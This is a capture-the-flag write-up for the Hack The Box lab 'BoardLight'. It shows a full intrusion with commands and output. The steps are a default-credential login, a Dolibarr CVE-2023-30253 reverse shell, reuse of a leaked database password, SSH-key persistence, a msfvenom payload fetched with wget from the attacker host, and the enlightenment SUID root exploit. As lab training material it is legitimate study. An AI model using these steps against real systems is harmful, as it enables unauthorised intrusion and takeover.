BoardLight



IP: 10.129.160.250

Setup Metasploit environment

sudo msfconsole # Metasploit Commands use multi/handler workspace -a BoardLight setg WORKSPACE BoardLight setg LHOST 10.10.14.123 setg SRVHOST 10.10.14.123 setg RHOST 10.129.160.250 setg RHOSTS 10.129.160.250 setg LPORT 1337 setg SRVPORT 9000

Info Gathering

Enumerate open ports

Metasploit command db_nmap -sC -sV -O -A -oN BoardLight.nmap --open 10.129.160.250

Hosts

address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10.129.160.250			Linux		4.X	server		

Services

host	port	proto	name	state	info
10.129.160.250	22	tcp	ssh	open	OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 Ubuntu
10.129.160.250	80	tcp	http	open	Apache httpd 2.4.41 (Ubuntu)

Port 22

SSH Service running OpenSSH 8.2p1

Port 80



Gaining Access

In the footer of the web page is a likely domain name for the website, board.htb. This is seen in the email and all rights reserved area



Screenshot Evidence



There are not many inputs on the website. I fuzzed for subdomains and discoverd crm.board.htb

ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u
http://10.129.160.250 -ac -c -H 'Host: FUZZ.board.htb'

root@to	bortedora:/usi	r /:	<pre>share# ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1milli</pre>
	/'\ /' /\ \/ /\ \ \ \ ,\\ \ ,_ \ \ _/ \ \ \ \ _/ \ \ \ v1.0.2		$ \begin{array}{c} $
:: Met :: URL :: Hea :: Fol :: Cal :: Tim :: Thr :: Mat :: Fil :: Fil :: Fil	hod der low redirects ibration eout eads cher ter ter ter ter		GET http://10.129.160.250 Host: FUZZ.board.htb false true 10 40 Response status: 200,204,301,302,307,401,403 Response size: 15949 Response words: 6243 Response lines: 518
crm			[Status: 200, Size: 6360, Words: 397, Lines: 150]
:: Prog	ress: [4989/49	989	<pre>9] :: Job [1/1] :: 453 req/sec :: Duration: [0:00:11] :: Errors: 0 ::</pre>

I visited the discovered domain and found a new site with a login page containing an app and version number

LINK: <u>http://crm.board.htb/</u> APP: Dolibar Version: 17.0.0

Dolibarr 17.0.0	
Dolibord	
Password	
LOGIN	
Password forgotten? - Need help or support?	

A Google search told me the default credentilas are admin:admin **SOURCE**: <u>https://www.dolibarr.org/forum/t/login-after-installation/16088</u>

I was able to use the default credentials to login

e e e e e e e e e e e e e e e e e e e		🔒 🕲 17.00 🛛 🔔 admin 🗸
Search ·	Access deried.	
in: My Dashboard	You by to access to a page, area or feature of a disabled module or without being in an authenticated session or that is not allowed to your user.	
浅 Setup	Current logic admin Premission for this login can be defined by your boliban administrator from menu Hame-Horers Matter stear your browser cookies to destroy existing sessions for this login.	
Admin Tools		
Users & Droups		

Searchsploit did not find any vulnerabilities for this version.

A Google search found a PoC for CVE-2023-30253 that creates a reverse shell from a PHP code injection **POC**: <u>https://github.com/dollarboysushil/Dolibarr-17.0.0-Exploit-CVE-2023-30253</u>

I started a listener to catch a reverse shell in Metasploit

```
# Metasploit Commands
use multi/handler
set LHOST 10.10.14.123
set LPORT 1337
run -j
```

```
git clone https://github.com/04Shivam/CVE-2023-30253-Exploit.git
cd CVE-2023-30253/
pip3 install -r requirements
python3 CVE-2023-30253.py
crm.board.htb
10.10.14.123
1337
```

Screenshot Evidence

```
rosborne@toborfedora:~/HTB/Boxes/BoardLight/CVE-2023-30253-Exploit$ python3 CVE-2023-30253.py
Enter the domain name (eg: app.hackthebox.com)
>>>crm.board.htb
Enter the ip address for reverse shell
>>>10.10.14.123
Enter port number for reverse shell
>>>1337
[+] Username password used admin:admin
[+] Extracted CSRF Token
[+] Logged In successfully
[+] Website created successfully
[+] Website created successfully
[+] Page created successfully
[+] Pagload uploaded
[+] Payload Execution Url: http://crm.board.htb/public/website/index.php?website=22b691e4171e4
[+] Check your listner
```

I was able to successfully open a reverse shell connection

```
# Metasploit Commands
sessions -i 1
# Open a PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

```
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ hostname -I
hostname -I
10.129.160.250 dead:beef::250:56ff:feb0:6329
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ hostname
hostname
boardlight
Www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ hostname
host
```

```
grep -R --exclude-dir=/var/www/html/crm.board.htb/htdocs/langs -i db_pass * 2>/
dev/null
# RESULTS
serverfun2$2023!!
```

I found a clear text password in htdocs/conf/conf.php

Screenshot Evidence

```
htdocs/conf/conf.php.example:$dolibarr_main_db_pass='';
htdocs/conf/conf.php.example:// $dolibarr_session_db_type, $doli
htdocs/conf/conf.php.example:// $dolibarr_session_db_pass, $doli
htdocs/conf/conf.php:$dolibarr_main_db_pass='serverfun2$2023!!';
```

I was able to use the password to su as the user larissa and read the user flag

```
su - larissa
Password: serverfun2$2023!!
cat ~/user.txt
# RESULTS
b89968f7f0051d63d9d969a91e054d6e
```

```
www-data@boardlight:~/html/crm.board.htb$ ls /home
ls /home
larissa
www-data@boardlight:~/html/crm.board.htb$ su - larissa
su - larissa
Password: serverfun2$2023!!
larissa@boardlight:~$ cat ~/user.txt
cat ~/user.txt
b89968f7f0051d63d9d969a91e054d6e
larissa@boardlight:~$ id
id
uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm)
larissa@boardlight:~$ hostname
hostname
boardlight
larissa@boardlight:~$ hostname -I
hostname -I
10.129.160.250 dead:beef::250:56ff:feb0:6329
larissa@boardlight:~$
[HTB] 0:openvpn 1:msf* 2:bash-
```

USER FLAG: b89968f7f0051d63d9d969a91e054d6e

PrivEsc

I added an SSH public key to larissa's authorized_keys file for persistence

```
echo 'ssh-ed25519 AAAAC... user@hostname.domain.com' >> ~/.ssh/authorized_keys
# I then ssh'd in
ssh -i ~/.ssh/id_ed25519 larissa@board.htb
```

```
rosborne@toborfedora:~/HTB/Boxes/BoardLight$ ssh -i ~/.ssh/id_ed25519 larissa@board.htb
The authenticity of host 'board.htb (10.129.160.250)' can't be established.
ED25519 key fingerprint is SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwz6Grx2rlahvu/v0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
larissa@boardlight:~$
```

I generated a payload to upgrade and have a Meterpreter session

```
sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.123
LPORT=1336 -a x86 -f elf -o /var/www/html/larissa.elf

# Metasploit Listener
use multi/handler
set LHOST 10.10.14.123
set LPORT 1336
set payload linux/x86/meterpreter/reverse_tcp
run -j

# Download and execute payload on target
cd /dev/shm
wget http://10.10.14.123/larissa.elf
chmod +x larissa.elf
./larissa.elf
```

This caught a meterpreter session

<pre>msf6 exploit(multi/handler) > sessions</pre>							
Activ	e sess =====	ions ====					
Id	Name	Туре	Information	Connection			
1		shell sparc/bsd		10.10.14.123:1337			
2		meterpreter x86/linux	larissa @ 10.129.160.250	10.10.14.123:1336			

I ran a search for SUID permissioned binaries and came across a few for "enlightenment"

find / -type f -perm -u=s 2>/dev/null

Screenshot Evidence

larissa@boardlight:~\$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/eject/dmcrypt-get-device

/usr/lib/xorg/Xorg.wrap

/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreg/linux-gnu-x86

A Google search for "enlightenment exploit" returned a PoC **REFERENCE**: <u>https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit</u>

I uploaded the exploit.sh file to the target machine and executed and was able to elevate my privilges to read the root flag in doing so

```
# On Attack machine
git clone https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit.git
scp -i ~/.ssh/id_ed25519 CVE-2022-37706-LPE-exploit/exploit.sh
larissa@board.htb:/tmp/
# On target machine
cd /tmp
chmod +x /tmp/exploit.sh
/tmp/exploit.sh
cat /root/root.txt
```

```
larissa@boardlight:~$ /tmp/exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)
# hostname
boardlight
# hostname -I
10.129.160.250 dead:beef::250:56ff:feb0:6329
# cat /root/root.txt
c3b823884750368c8f53e88fabf0daa5
#
[HTB] 0:openvpn- 1:msf 2:bash*Z
```

ROOT FLAG: c3b823884750368c8f53e88fabf0daa5